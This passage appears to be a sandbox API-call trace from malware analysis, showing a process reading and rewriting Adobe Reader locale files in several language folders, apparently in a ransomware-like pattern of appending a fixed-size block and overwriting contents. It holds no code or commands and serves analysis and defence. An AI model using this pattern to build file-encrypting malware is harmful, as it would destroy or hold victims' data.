CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SUO", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0041.313] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SUO", cchWideChar=17, lpMultiByteStr=0x1e789ec, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.SUO", lpUsedDefaultChar=0x0) returned 17 [0041.314] ReadFile (in: hFile=0x1c4, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2e0f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.328] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x9600 [0041.328] ReadFile (in: hFile=0x1c4, lpBuffer=0x2737a98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2737a98*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.328] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x9600 [0041.328] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.328] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0041.329] WriteFile (in: hFile=0x1c4, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2e0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.329] CloseHandle (hObject=0x1c4) returned 1 [0041.329] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\IA32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ia32.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.329] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.329] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0xe00 [0041.329] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.329] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.329] ReleaseMutex (hMutex=0x128) returned 1 [0041.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SUO", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.329] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.SUO", cchWideChar=8, lpMultiByteStr=0x1e6306c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.SUO", lpUsedDefaultChar=0x0) returned 8 [0041.329] ReadFile (in: hFile=0x1c4, lpBuffer=0x2737a98, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737a98*, lpNumberOfBytesRead=0x2e0f2bc*=0xe00, lpOverlapped=0x0) returned 1 [0041.344] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0041.344] WriteFile (in: hFile=0x1c4, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1388, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2e0f2d0*=0x1388, lpOverlapped=0x0) returned 1 [0041.345] CloseHandle (hObject=0x1c4) returned 1 [0041.345] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\SendMail.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\sendmail.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0041.345] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.345] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x3c00 [0041.345] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.345] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.345] ReleaseMutex (hMutex=0x128) returned 1 [0041.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SUO", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.345] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.SUO", cchWideChar=12, lpMultiByteStr=0x1e631cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.SUO", lpUsedDefaultChar=0x0) returned 12 [0041.345] ReadFile (in: hFile=0x1c4, lpBuffer=0x2737a98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2737a98*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.362] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2c00 [0041.362] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.362] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2c00 [0041.362] WriteFile (in: hFile=0x1c4, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.363] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0041.363] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.363] CloseHandle (hObject=0x1c4) returned 1 [0041.363] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\BRdlang32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\brdlang32.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.915] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.915] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x3800 [0041.915] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.915] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.915] ReleaseMutex (hMutex=0x128) returned 1 [0041.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.FRA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.915] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.FRA", cchWideChar=13, lpMultiByteStr=0x1e6334c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.FRA", lpUsedDefaultChar=0x0) returned 13 [0041.915] ReadFile (in: hFile=0x168, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.927] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2800 [0041.927] ReadFile (in: hFile=0x168, lpBuffer=0x2766028, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.931] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x2800 [0041.932] WriteFile (in: hFile=0x168, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.932] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0041.932] WriteFile (in: hFile=0x168, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.932] CloseHandle (hObject=0x168) returned 1 [0041.932] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\PPKLITE.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\ppklite.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.932] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.933] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x88000 [0041.933] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.933] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.933] ReleaseMutex (hMutex=0x128) returned 1 [0041.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.FRA", cchWideChar=11, lpMultiByteStr=0x1e631ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.FRA", lpUsedDefaultChar=0x0) returned 11 [0041.933] ReadFile (in: hFile=0x168, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2e0f278*=0xf000, lpOverlapped=0x0) returned 1 [0041.948] ReadFile (in: hFile=0x168, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.975] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x87000 [0041.975] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.977] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x87000 [0041.978] WriteFile (in: hFile=0x168, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.978] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0041.978] WriteFile (in: hFile=0x168, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2e0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.979] WriteFile (in: hFile=0x168, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.979] CloseHandle (hObject=0x168) returned 1 [0041.979] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\updater.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\updater.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.979] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.979] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x2c00 [0041.979] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.979] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.979] ReleaseMutex (hMutex=0x128) returned 1 [0041.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.FRA", cchWideChar=11, lpMultiByteStr=0x1e6322c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.FRA", lpUsedDefaultChar=0x0) returned 11 [0041.979] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.983] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1c00 [0041.983] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.984] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x1c00 [0041.984] WriteFile (in: hFile=0x168, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.986] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0041.986] WriteFile (in: hFile=0x168, lpBuffer=0x2737c68*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2737c68*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.986] CloseHandle (hObject=0x168) returned 1 [0041.986] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\eBook.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\ebook.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.986] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.986] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1a00 [0041.986] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.986] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.986] ReleaseMutex (hMutex=0x128) returned 1 [0041.987] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.HRV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.987] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.HRV", cchWideChar=9, lpMultiByteStr=0x1e6334c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.HRV", lpUsedDefaultChar=0x0) returned 9 [0041.987] ReadFile (in: hFile=0x168, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x2e0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2e0f2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0041.990] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f300*=0) returned 0x0 [0041.990] WriteFile (in: hFile=0x168, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x2e0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2e0f2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0041.990] CloseHandle (hObject=0x168) returned 1 [0041.991] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\SaveAsRTF.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\saveasrtf.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.991] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.991] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x4a00 [0041.991] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.991] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.991] ReleaseMutex (hMutex=0x128) returned 1 [0041.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.HRV", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.991] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.HRV", cchWideChar=13, lpMultiByteStr=0x1e6322c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.HRV", lpUsedDefaultChar=0x0) returned 13 [0041.991] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.994] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x3a00 [0041.994] ReadFile (in: hFile=0x168, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2e0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.994] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2e0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f2e8*=0) returned 0x3a00 [0041.994] WriteFile (in: hFile=0x168, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2e0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.994] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f2bc*=0) returned 0x0 [0041.994] WriteFile (in: hFile=0x168, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2e0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.995] CloseHandle (hObject=0x168) returned 1 [0041.995] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\AdobeCollabSync.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\adobecollabsync.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.995] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.995] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x1a00 [0041.995] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2e0f8c0*=0) returned 0x0 [0041.995] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.996] ReleaseMutex (hMutex=0x128) returned 1 [0041.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.HUN", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 